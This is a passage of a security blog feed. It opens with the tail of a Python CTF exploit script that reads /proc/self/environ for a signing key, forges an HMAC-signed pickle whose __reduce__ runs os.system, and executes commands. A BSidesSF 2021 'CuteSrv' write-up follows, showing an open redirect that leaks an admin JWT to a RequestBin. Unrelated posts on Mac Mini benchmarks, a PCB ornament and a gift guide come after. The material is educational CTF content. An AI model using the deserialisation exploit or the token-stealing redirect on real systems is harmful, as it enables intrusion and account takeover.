<span class="k">print</span><span class="p">(</span><span class="n">config_src</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">))</span>
<span class="n">environ_src</span> <span class="o">=</span> <span class="n">retrieve_path</span><span class="p">(</span>
<span class="n">target</span><span class="p">,</span> <span class="s">'/proc/self/environ'</span><span class="p">,</span> <span class="n">usable_key</span><span class="p">)</span>
<span class="n">auth_key</span> <span class="o">=</span> <span class="n">extract_auth_key</span><span class="p">(</span><span class="n">environ_src</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Auth Key: "%s"'</span> <span class="o">%</span> <span class="n">auth_key</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">))</span>
<span class="n">exploit</span> <span class="o">=</span> <span class="n">build_exploit</span><span class="p">(</span><span class="n">auth_key</span><span class="p">,</span> <span class="s">'ls -al /home/flag > /tmp/matirflag'</span><span class="p">)</span>
<span class="n">retrieve_path</span><span class="p">(</span><span class="n">target</span><span class="p">,</span> <span class="s">'/etc/passwd'</span><span class="p">,</span> <span class="n">exploit</span><span class="p">)</span> <span class="c1"># Needed to get code exec
</span> <span class="k">print</span><span class="p">(</span><span class="n">retrieve_path</span><span class="p">(</span><span class="n">target</span><span class="p">,</span> <span class="s">'/tmp/matirflag'</span><span class="p">,</span> <span class="n">usable_key</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">))</span>
<span class="n">exploit</span> <span class="o">=</span> <span class="n">build_exploit</span><span class="p">(</span><span class="n">auth_key</span><span class="p">,</span> <span class="s">'/home/flag/getflag > /tmp/matirflag'</span><span class="p">)</span>
<span class="n">retrieve_path</span><span class="p">(</span><span class="n">target</span><span class="p">,</span> <span class="s">'/etc/passwd'</span><span class="p">,</span> <span class="n">exploit</span><span class="p">)</span> <span class="c1"># Needed to get code exec
</span> <span class="n">flag</span> <span class="o">=</span> <span class="n">retrieve_path</span><span class="p">(</span>
<span class="n">target</span><span class="p">,</span> <span class="s">'/tmp/matirflag'</span><span class="p">,</span> <span class="n">usable_key</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Flag: '</span><span class="p">,</span> <span class="n">flag</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">get_source_path</span><span class="p">(</span><span class="n">target</span><span class="p">):</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">target</span><span class="p">)</span>
<span class="n">src_line</span> <span class="o">=</span> <span class="p">[</span><span class="n">a</span> <span class="k">for</span> <span class="n">a</span> <span class="ow">in</span> <span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span> <span class="k">if</span> <span class="s">'<!-- Source'</span> <span class="ow">in</span> <span class="n">a</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span>
<span class="k">return</span> <span class="n">src_line</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">': '</span><span class="p">)[</span><span class="mi">1</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">' '</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">get_key_data</span><span class="p">(</span><span class="n">target</span><span class="p">):</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="s">'paste'</span><span class="p">:</span> <span class="s">'foobarbaz'</span><span class="p">}</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">target</span> <span class="o">+</span> <span class="s">'/upload'</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
<span class="n">resp</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">json</span><span class="p">()</span>
<span class="k">return</span> <span class="n">resp</span><span class="p">[</span><span class="s">'key'</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">extract_key_nonce</span><span class="p">(</span><span class="n">key_data</span><span class="p">):</span>
<span class="n">sig</span><span class="p">,</span> <span class="n">e_key</span> <span class="o">=</span> <span class="n">key_data</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'!'</span><span class="p">)</span>
<span class="n">key_d</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">urlsafe_b64decode</span><span class="p">(</span><span class="n">e_key</span><span class="p">)</span>
<span class="n">key_s</span> <span class="o">=</span> <span class="n">pickle</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">key_d</span><span class="p">)</span>
<span class="k">return</span> <span class="n">key_s</span><span class="p">[</span><span class="s">'key'</span><span class="p">],</span> <span class="n">key_s</span><span class="p">[</span><span class="s">'iv'</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">retrieve_path</span><span class="p">(</span><span class="n">target</span><span class="p">,</span> <span class="n">src_path</span><span class="p">,</span> <span class="n">key_data</span><span class="p">):</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span>
<span class="s">'file'</span><span class="p">:</span> <span class="n">src_path</span><span class="p">,</span>
<span class="s">'key'</span><span class="p">:</span> <span class="n">key_data</span><span class="p">,</span>
<span class="p">}</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">target</span> <span class="o">+</span> <span class="s">'/load'</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span>
<span class="k">if</span> <span class="n">r</span><span class="p">.</span><span class="n">status_code</span> <span class="o">!=</span> <span class="mi">200</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Error:'</span><span class="p">,</span> <span class="n">r</span><span class="p">.</span><span class="n">status_code</span><span class="p">)</span>
<span class="k">return</span> <span class="s">''</span>
<span class="n">key</span><span class="p">,</span> <span class="n">iv</span> <span class="o">=</span> <span class="n">extract_key_nonce</span><span class="p">(</span><span class="n">key_data</span><span class="p">)</span>
<span class="k">return</span> <span class="n">decrypt_data</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">content</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">iv</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">extract_auth_key</span><span class="p">(</span><span class="n">environ</span><span class="p">):</span>
<span class="n">pairs</span> <span class="o">=</span> <span class="n">environ</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span>
<span class="k">print</span><span class="p">((</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">pairs</span><span class="p">)).</span><span class="n">decode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">))</span>
<span class="k">for</span> <span class="n">p</span> <span class="ow">in</span> <span class="n">pairs</span><span class="p">:</span>
<span class="n">k</span><span class="p">,</span> <span class="n">v</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">'='</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
<span class="k">if</span> <span class="n">k</span> <span class="o">==</span> <span class="sa">b</span><span class="s">'AUTH_KEY'</span><span class="p">:</span>
<span class="k">return</span> <span class="n">v</span>
<span class="k">def</span> <span class="nf">decrypt_data</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">iv</span><span class="p">):</span>
<span class="n">cip</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_CTR</span><span class="p">,</span> <span class="n">nonce</span><span class="o">=</span><span class="n">iv</span><span class="p">)</span>
<span class="k">return</span> <span class="n">cip</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">build_exploit</span><span class="p">(</span><span class="n">auth_key</span><span class="p">,</span> <span class="n">cmd</span><span class="p">):</span>
<span class="n">exp</span> <span class="o">=</span> <span class="n">Exp</span><span class="p">(</span><span class="n">cmd</span><span class="p">)</span>
<span class="n">exp_d</span> <span class="o">=</span> <span class="n">pickle</span><span class="p">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">exp</span><span class="p">)</span>
<span class="n">mac</span> <span class="o">=</span> <span class="n">hmac</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">auth_key</span><span class="p">,</span> <span class="n">msg</span><span class="o">=</span><span class="n">exp_d</span><span class="p">,</span> <span class="n">digestmod</span><span class="o">=</span><span class="n">hashlib</span><span class="p">.</span><span class="n">sha256</span><span class="p">).</span><span class="n">digest</span><span class="p">()[:</span><span class="mi">16</span><span class="p">]</span>
<span class="k">return</span> <span class="p">(</span>
<span class="n">base64</span><span class="p">.</span><span class="n">urlsafe_b64encode</span><span class="p">(</span><span class="n">mac</span><span class="p">)</span> <span class="o">+</span> <span class="sa">b</span><span class="s">"!"</span> <span class="o">+</span>
<span class="n">base64</span><span class="p">.</span><span class="n">urlsafe_b64encode</span><span class="p">(</span><span class="n">exp_d</span><span class="p">)).</span><span class="n">decode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">)</span>
<span class="k">class</span> <span class="nc">Exp</span><span class="p">:</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">cmd</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">cmd</span> <span class="o">=</span> <span class="n">cmd</span>
<span class="k">def</span> <span class="nf">__reduce__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">,</span> <span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">cmd</span><span class="p">,</span> <span class="p">)</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="n">main</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
</pre></td></tr></tbody></table></code></pre></div></div>
BSidesSF 2021 CTF: CuteSrv (Author Writeup)2021-03-08T00:00:00-08:00https://systemoverlord.com/2021/03/08/bsidessf-2021-ctf-cutesrv-author-writeup
<p>I authored the BSidesSF 2021 CTF Challenge “CuteSrv”, which is a service to
display cute pictures. The description from the scoreboard:</p>
<blockquote>
<p>Last year was pretty tough for all of us. I built this service of cute photos
to help cheer you up. We do moderate for cuteness, so no inappropriate photos
please!</p>
</blockquote>
<p>Like my other write-ups, I’ll do this from the perspective of a player playing
through and try not to assume internal knowledge.</p>
<p>Visiting the service, we find a bunch of cute pictures:</p>
<p><img src="/img/bsidessf/cutesrv.png" alt="CuteSrv" /></p>
<p>Since we just see links for Login and Submit at the top, it’s worth checking
those out. Submit redirects us to the login page, so let’s login. We
explicitly see that it’s redirecting us to a “LoginSVC” login page to do the
login. This is on a different domain than the CuteSrv.</p>
<p>On this page, you can login or register. My first instinct would be to check
for SQL injection, but even with SQLmap, I’m not finding anything. We create an
account and are redirected back to CuteSrv. Now we only have the Submit link,
which prompts us for a URL to submit.</p>
<p><img src="/img/bsidessf/cutesrv_submit.png" alt="CuteSrv Submit Page" /></p>
<p>Since it mentions that all submissions will be reviewed, I assume the admin will
see a page with either the URL or the maybe the URL will be placed in an image
tag for them to preview. In any case, this seems like a likely XSS vector, so
we can try some payloads. Unfortunately, none of those payloads get us
anything.</p>
<p>I start looking at the source for the webpages to see anything I’ve missed. I
notice a hidden link to <code class="language-plaintext highlighter-rouge">/flag.txt</code>, so I figure I’ll just check that, though it
seems too obvious for a challenge that’s not a <strong>101</strong>. As expected, I just get
<code class="language-plaintext highlighter-rouge">Not Authorized</code> here.</p>
<p>Let’s see if we can verify that the admin is seeing our submissions. We can use
a <a href="https://requestbin.com/">RequestBin</a> (or host something ourselves) and just
use that URL for the image to see if we can get any request at all. We submit
our RequestBin URL and almost immediately see a request that tells us the admin
visited.</p>
<p>Maybe there’s a vulnerability in the login page. If nothing else, it’s pretty
unusual for a CTF challenge to use two separate domains and services. If we
logout and go to login again, and follow the flow carefully, we’ll see a set of
requests:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre>- GET https://loginsvc-0af88b56.challenges.bsidessf.net/check?continue=https%3A%2F%2Fcutesrv-0186d981.challenges.bsidessf.net%2Fsetsid
- GET https://loginsvc-0af88b56.challenges.bsidessf.net/login?continue=https%3A%2F%2Fcutesrv-0186d981.challenges.bsidessf.net%2Fsetsid
- (Perform login)
- POST https://loginsvc-0af88b56.challenges.bsidessf.net/login
- GET https://loginsvc-0af88b56.challenges.bsidessf.net/check?continue=https%3A%2F%2Fcutesrv-0186d981.challenges.bsidessf.net%2Fsetsid
- GET https://cutesrv-0186d981.challenges.bsidessf.net/setsid?authtok=eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJhdXRodG9rIiwiZXhwIjoxNjE3OTQ5MDIzLCJpYXQiOjE2MTUyNzA2MjMsImlzcyI6ImxvZ2luc3ZjIiwibmJmIjoxNjE1MjcwNjIzLCJzdWIiOiJmb28ifQ.d1Cu3aXU6fUOgc0W4p3E3geViK1faqsKusWzHKOG-8htQJEzv5h-IgX5q6ZJs4LhaeK4r2Ngmb18oaw2LY7OIA
- GET https://cutesrv-0186d981.challenges.bsidessf.net/
</pre></td></tr></tbody></table></code></pre></div></div>
<p>We notice that the authentication token gets passed as a GET parameter from one
service to another. If you’re familiar with it, you may recognize it as a
<a href="https://jwt.io/">JWT</a>. Maybe we can craft our own token for the admin user, as
sometimes <a href="https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/">JWT implementations have
vulnerabilities</a>.
Unfortunately, every token I attempt to craft is rejected by the service and
results in me being in a logged-out state.</p>
<p>If we’re already logged in, the <code class="language-plaintext highlighter-rouge">/check</code> endpoint on LoginSVC automatically
redirects us to our continue URL. I quickly try some variations on the URL
provided by CuteSRV and notice that LoginSVC <em>seems</em> to accept any URL I throw
at it. Perhaps I can make use of this <a href="https://cwe.mitre.org/data/definitions/601.html">open
redirect</a> somehow. If I can
get the admin to visit my server from the login service, maybe I can steal the
<code class="language-plaintext highlighter-rouge">authtok</code> parameter and use it. I try submitting the <code class="language-plaintext highlighter-rouge">/check</code> URL with a
<code class="language-plaintext highlighter-rouge">continue</code> parameter that points to my RequestBin (i.e., <code class="language-plaintext highlighter-rouge">https://loginsvc-0af88b56.challenges.bsidessf.net/check?continue=https://enwc1bz9v7lve.x.pipedream.net/</code>) in the image
submission form.</p>
<p>Almost immediately, there’s a request to my RequestBin with a different
<code class="language-plaintext highlighter-rouge">authtok</code> as a query parameter! I copy the <code class="language-plaintext highlighter-rouge">authtok</code> and use it with the
<code class="language-plaintext highlighter-rouge">/setsid</code> path on CuteSRV:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>https://cutesrv-0186d981.challenges.bsidessf.net/setsid?authtok=eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJhdXRodG9rIiwiZXhwIjoxNjE3OTUwMDIxLCJpYXQiOjE2MTUyNzE2MjEsImlzcyI6ImxvZ2luc3ZjIiwibmJmIjoxNjE1MjcxNjIxLCJzdWIiOiJhZG1pbiJ9.OulATR3pPROVZh9BCfwEbHYHceLAnPXxL3g9Q6T2AfTIP8qTZidqdpvPLrT8HwkYyyZwgyhdkoQkN2H--FXW0Q
</pre></td></tr></tbody></table></code></pre></div></div>
<p>It appears to give me a valid session, so I try the <code class="language-plaintext highlighter-rouge">/flag.txt</code> endpoint again
and am rewarded:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>FLAG: CTF{i_hope_you_made_it_through_2020_okay}
</pre></td></tr></tbody></table></code></pre></div></div>
Is Reusing an Old Mac Mini Worth It?2021-02-23T00:00:00-08:00https://systemoverlord.com/2021/02/23/is-reusing-an-old-mac-mini-worth-it
<p>I was cleaning up some old electronics (I’m a bit of a pack rat) and came across
a Mac Mini I’ve owned since 2009. I was curious whether it still worked and
whether it could get useful work done. This turned out to be more than a 5
minute experiment, so I thought I’d write it up here as it was just an
interesting little test.</p>
<!--more-->
<h2 id="the-hardware">The Hardware</h2>
<p>The particular model I have is known as “Macmini2,1” or “MB139*/A” or “Mid
2007”, with the following specs:</p>
<ul>
<li>Intel Core 2 Duo T7200 at 2.0 GHz</li>
<li>2 GB DDR2 SDRAM (originally 1GB, I upgraded)</li>
<li>120GB HDD</li>
</ul>
<h2 id="the-software">The Software</h2>
<p>The last version of Mac OS that was supported is Mac OS X 10.7 “Lion”, which has
been unsupported since 2014. Since I’m a Linux guy anyway, I figured I’d see
about installing Linux on this. Unfortunately, according to the <a href="https://wiki.debian.org/MacMiniIntel">Debian
wiki</a>, this device won’t boot from USB,
and I don’t have any blank optical media to burn to. This was the first point
where I nearly decided this wasn’t worth my time, but I decided to push on.</p>
<p>Linux is pretty good about booting on any hardware, even if it’s not the
hardware you installed on, as kernel module drivers are loaded based on present
hardware. I decided to try installing to a disk and then swapping disks and
seeing if the Mac Mini would boot. The EFI on the Mac Mini supports BIOS
emulation, and that seemed the more likely to work out of the box.</p>
<p>I plugged a <a href="https://amzn.to/3dEZapP">spare SSD</a> into my <a href="https://amzn.to/37IR1Nv">SATA
dock</a> and then used a virtual machine with a raw disk
to install Debian testing on the SSD. I then used the <a href="https://www.ifixit.com/Device/Mac_Mini_Model_A1176">excellent iFixIt
teardown</a> and my <a href="https://amzn.to/3bseqnm">iFixit
toolkit</a> to open the Mac Mini and swap out the drive.
I point to the teardown because opening a Mac Mini is neither obvious nor
trivial.</p>
<h2 id="booting">Booting</h2>
<p>I plugged in the Mac Mini along with a network cable and powered it on, hoping to
see it just appear on the network. I gave it adequate time to boot and did a
port scan to find it – and got nothing. Thinking it might have been a first
boot issue, I rebooted the Mac Mini, waited even longer, and checked again –
and once again, couldn’t find it. I checked the logs on my DHCP server, and
there was nothing relevant there. This is the second point at which I
considered quitting on this.</p>
<p>I decided to see what error I might have been getting, or at least how far it
would get in booting, so I dug out a DVI cable and hooked it up to a monitor.
Powering it on again, I got 30 seconds of grey screen from the EFI (due to the
BIOS boot delay mentioned in the Debian wiki page), and then – Debian booted
normally.</p>
<p>Okay, maybe networking was just broken. I did another port scan of my lab
network – and there it was. Somehow it had just started working. I felt so
confused at this point. I began to wonder if connecting a monitor had been the
fix somehow. A few Google searches later, I had confirmed my suspicion – this
Mac Mini model (and several others) will not boot unless it detects an attached
monitor. There’s a workaround involving a resistor between two of the analog
pins (or a commercial <a href="https://amzn.to/3qOyC9s">DVI emulator</a>), but for the
moment, I just kept the monitor attached.</p>
<p>At this point, I had the Mac Mini running Debian Testing and everything seemed
to be more or less working. But would it be worth it in terms of computing
power and electrical power?</p>
<h2 id="benchmarking--comparison">Benchmarking & Comparison</h2>
<p>I decided to run just a handful of CPU benchmarks. I wasn’t looking to tweak
this system to find the maximal performance, just to get an idea of where it
stands as a system.</p>
<p>The first run was a 7-zip benchmark. The Mac Mini managed about 3700 MB/s for
compression. (Average across all dictionary sizes.) My laptop with a Core
i5-5200U did 6345MB/s, and my <a href="https://amzn.to/3bDV8f0">Ryzen 7 3700X</a> in my
desktop managed a whopping 57,250MB/s!</p>
<p>With OpenSSL, I checked both SHA-512 and AES-128-CBC mode. For SHA-512
computations, the Mac Mini managed about 200 MB/s, my laptop 470 MB/s, and my
desktop 903 MB/s. For AES-128-CBC, the Mac Mini is 89MB/s, my laptop 594MB/s,
and my desktop a whopping 1.6GB/s! This result is obviously heavily skewed by
the AES-NI instructions present on my laptop and desktop, but not the Mac Mini.
(These are all single-thread results.)</p>
<p>Finally, I ran the POV-Ray 3.7 benchmark. The Mac Mini took 952s, my laptop
452s, and my desktop just 54s.</p>
<p>I began to wonder how all these results compared to something like a Raspberry
Pi, so I pulled out a <a href="https://amzn.to/3bxa8uP">Pi 3B+</a> and a <a href="https://amzn.to/2ZH3Ovt">Pi
4B</a> and ran the same benchmarks again.</p>
<table>
<thead>
<tr>
<th>Device</th>
<th>7-Zip</th>
<th>SHA-512</th>
<th>AES-128</th>
<th>POV-Ray 3.7</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mac Mini w/T7200</td>
<td>3713 MB/s</td>
<td>193 MB/s</td>
<td>89 MB/s</td>
<td>952s</td>
</tr>
<tr>
<td>Laptop (i5-5200U)</td>
<td>6345 MB/s</td>
<td>470 MB/s</td>
<td>593 MB/s</td>
<td>452s</td>
</tr>
<tr>
<td>Desktop (R7-3700X)</td>
<td>57250 MB/s</td>
<td>903 MB/s</td>
<td>1591 MB/s</td>
<td>54s</td>
</tr>
<tr>
<td>Raspberry Pi 3B+</td>
<td>1962 MB/s</td>
<td>31 MB/s</td>
<td>47 MB/s</td>
<td>1897s</td>
</tr>
<tr>
<td>Raspberry Pi 4B</td>
<td>3582 MB/s</td>
<td>204 MB/s</td>
<td>91 MB/s</td>
<td>597s</td>
</tr>
</tbody>
</table>
<p>As can be seen, in most of the tests, the Mac Mini with a Core 2 Duo is trading
blows back and forth with the Raspberry Pi 4B – and gets handily beat in the
POV-Ray 3.7 test. Below is a chart of normalized test results, with the slowest
device a 1.0 (always the Pi 3B+), and all others represent how many times faster
the other systems are.</p>
<p><img src="/img/macmini/chart.png" alt="Normalized Relative Performance" /></p>
<p>During all of these tests, I had the Mac Mini plugged into a
<a href="https://amzn.to/3dEoi03">Kill-A-Watt Meter</a> to measure the power consumption.
Idling, it’s around 20 watts. Under one of these load tests, it reaches about
45-49 watts. Given that the Raspberry Pi 4B only uses around 5W under full
load, the Pi 4B absolutely destroys this Mac Mini in performance-per-watt.
(Note, again, this is an <em>old</em> Mac Mini – it’s no surprise that it’s not an
even comparison.)</p>
<h2 id="conclusion">Conclusion</h2>
<p>Given the lack of expandability, the mediocre baseline performance, and the very
poor performance per watt, I can’t see using this for much, if anything.
Running it 24/7 for a home server doesn’t offer much over a Raspberry Pi 4B, and
the I/O is only slightly better. At this point, it’s probably headed for the
electronics recycling center.</p>
Merry Christmas: 2020 Holiday Ornament2020-12-25T00:00:00-08:00https://systemoverlord.com/2020/12/25/merry-christmas-2020-holiday-ornament
<p>First off, I want to wish everyone a Happy Holidays and a Merry Christmas. I
know 2020 has been a hard year for so many, and I hope you and your families are
healthy and making it through the year.</p>
<p>Over the past few years, I’ve gotten into making holiday ornaments for friends
and family. In 2017, I did a <a href="/2017/12/24/2017-christmas-ornament.html">snowflake PCB ornament</a>.
In 2018, I used laser cutting service <a href="https://www.ponoko.com/">Ponoko</a> to cut
acrylic fir trees with interlocking pieces. In 2019, I used my new <a href="https://amzn.to/3hlYXb8">3D
printer</a> to print 3-dimensional snowflakes. In 2020,
I’ve returned to my roots and gone with another PCB design. As a huge fan of
DEFCON #badgelife, it felt appropriate to go back this way. I ended up with a
touch-sensitive snowman with 6 LEDs.</p>
<!--more-->
<p><img src="/img/ornament2020/front.webp" alt="Front of Ornament" class="left" /></p>
<p>The ornament features a snowman created by the use of the black silkscreen and
white soldermask. The front artwork was created by drawing it in Inkscape, then
exporting to a PNG, and pulling into KiCad’s bmp2component. Of course,
bmp2component wants to put this as a footprint, so I had to adjust the resulting
<code class="language-plaintext highlighter-rouge">kicad_mod</code> file to put things on the silkscreen layer.</p>
<p>There are 6 LEDs. The eyes and buttons are white LEDs and the nose, befitting
the typical carrot, is an orange LED. All the remaining components are on the
reverse.</p>
<hr />
<p><img src="/img/ornament2020/back.webp" alt="Back of Ornament" class="right clear" /></p>
<p class="clear-left">The back of the ornament houses all of the working bits. The main
microcontroller is the <a href="https://www.microchip.com/wwwproducts/en/ATtiny84A">Microchip
ATtiny84A</a>. It directly
drives the LEDs via 6 of the I/O pins with 200Ω resistors for current
limiting.</p>
<p>The power supply, at the lower right of the back side, is a boost converter to
maintain 3.6V (necessary for the white LEDs with a bit of overhead) out of the
coin cell battery. Coin cells <em>start</em> at 3V, which can <em>barely</em> run a white LED
under a lot of conditions, but they drop fairly quickly. This power supply will
keep things going down to at least 2.2V of input. Note that the actual chip for
the power supply is a 2mm-by-2mm component – I didn’t realize just how hard
that would be to actually assemble until I had them in my hands!</p>
<p>At the bottom left of the back is the capacitive touch sensor, the <a href="https://www.microchip.com/wwwproducts/en/AT42qt1010">Microchip
AT42QT1010</a>. It connects
to a copper area on the front of the ornament to detect a touch in that area.
It produces a signal when the touch is detected, but that had to be debounced in
software due to stray signals, probably from the LEDs.</p>
<hr />
<p>Each ornament was hand assembled, leading to a limited run of 14. (15 if you
count a prototype that’s wired up to a power supply instead of a battery
supply.) The firmware running on the microcontroller is written in C, and was
programmed onto the boards using the
<a href="https://www.crowdsupply.com/securinghw/tigard">Tigard</a>. I had intended to use
pogo pins to program via the pads above the microcontroller, but I ended up
using a <a href="https://amzn.to/3hgMZiX">chip clip</a> to program instead.</p>
<p>I hope this might inspire others to give DIY PCB artwork a try. It’s quite
simple if you know some basic electronics, and it’s really fun to see something
you built come to life. Merry Christmas to all, and may 2021 be infinitely
better than 2020.</p>
Hacker Holiday Gift Guide - 2020 Edition2020-11-26T00:00:00-08:00https://systemoverlord.com/2020/11/26/hacker-holiday-gift-guide-2020-edition
<p>Welcome to the 2020 edition of my Hacker Holiday Gift Guide! This has been a
trying year for all of us, but I sincerely hope you and your family are happy
and healthy as this year comes to an end.</p>
<h2 class="no_toc" id="table-of-contents">Table of Contents</h2>
<ul id="markdown-toc">
<li><a href="#general-security" id="markdown-toc-general-security">General Security</a> <ul>
<li><a href="#protonmail-subscription" id="markdown-toc-protonmail-subscription">ProtonMail Subscription</a></li>
<li><a href="#encrypted-flash-drive" id="markdown-toc-encrypted-flash-drive">Encrypted Flash Drive</a></li>
<li><a href="#cryptographic-security-key" id="markdown-toc-cryptographic-security-key">Cryptographic Security Key</a></li>
<li><a href="#linux-basics-for-hackers" id="markdown-toc-linux-basics-for-hackers">Linux Basics for Hackers</a></li>
</ul>
</li>
<li><a href="#penetration-testers--red-teamers" id="markdown-toc-penetration-testers--red-teamers">Penetration Testers & Red Teamers</a> <ul>
<li><a href="#the-pentester-blueprint" id="markdown-toc-the-pentester-blueprint">The Pentester Blueprint</a></li>
<li><a href="#online-learning-labs" id="markdown-toc-online-learning-labs">Online Learning Labs</a></li>
<li><a href="#penetration-testing-a-hands-on-introduction-to-hacking" id="markdown-toc-penetration-testing-a-hands-on-introduction-to-hacking">Penetration Testing: A Hands-On Introduction to Hacking</a></li>
<li><a href="#wifi-pineapple-mark-vii" id="markdown-toc-wifi-pineapple-mark-vii">WiFi Pineapple Mark VII</a></li>
<li><a href="#poc--gtfo" id="markdown-toc-poc--gtfo">PoC || GTFO</a></li>
</ul>
</li>
<li><a href="#hardware-hackers" id="markdown-toc-hardware-hackers">Hardware Hackers</a> <ul>
<li><a href="#tigard" id="markdown-toc-tigard">Tigard</a></li>
<li><a href="#hardware-hacker-adventures-in-making-and-breaking-hardware" id="markdown-toc-hardware-hacker-adventures-in-making-and-breaking-hardware">Hardware Hacker: Adventures in Making and Breaking Hardware</a></li>
<li><a href="#rtl-sdr-starter-kit" id="markdown-toc-rtl-sdr-starter-kit">RTL-SDR Starter Kit</a></li>
<li><a href="#ifixit-pro-tech-toolkit" id="markdown-toc-ifixit-pro-tech-toolkit">iFixit Pro Tech Toolkit</a></li>
</ul>
</li>
<li><a href="#young-hackers" id="markdown-toc-young-hackers">Young Hackers</a> <ul>
<li><a href="#imagicharm" id="markdown-toc-imagicharm">imagiCharm</a></li>
<li><a href="#mechanical-puzzles" id="markdown-toc-mechanical-puzzles">Mechanical Puzzles</a></li>
</ul>
</li>
<li><a href="#friends-and-family-of-hackers" id="markdown-toc-friends-and-family-of-hackers">Friends and Family of Hackers</a> <ul>
<li><a href="#hardware-security-keys" id="markdown-toc-hardware-security-keys">Hardware Security Keys</a></li>
<li><a href="#control-alt-hack" id="markdown-toc-control-alt-hack">Control-Alt-Hack</a></li>
<li><a href="#vpn-subscription" id="markdown-toc-vpn-subscription">VPN Subscription</a></li>
</ul>
</li>
<li><a href="#non-security-tech" id="markdown-toc-non-security-tech">Non-Security Tech</a> <ul>
<li><a href="#raspberry-pi-4" id="markdown-toc-raspberry-pi-4">Raspberry Pi 4</a></li>
<li><a href="#keysy" id="markdown-toc-keysy">Keysy</a></li>
<li><a href="#home-automation-learning-kit" id="markdown-toc-home-automation-learning-kit">Home Automation Learning Kit</a></li>
<li><a href="#boogie-board-writing-tablet" id="markdown-toc-boogie-board-writing-tablet">Boogie Board Writing Tablet</a></li>
</ul>
</li>
<li><a href="#general-offers" id="markdown-toc-general-offers">General Offers</a> <ul>
<li><a href="#no-starch-press" id="markdown-toc-no-starch-press">No Starch Press</a></li>
<li><a href="#hooligan-keys" id="markdown-toc-hooligan-keys">Hooligan Keys</a></li>
</ul>
</li>
</ul>
<h2 id="general-security">General Security</h2>
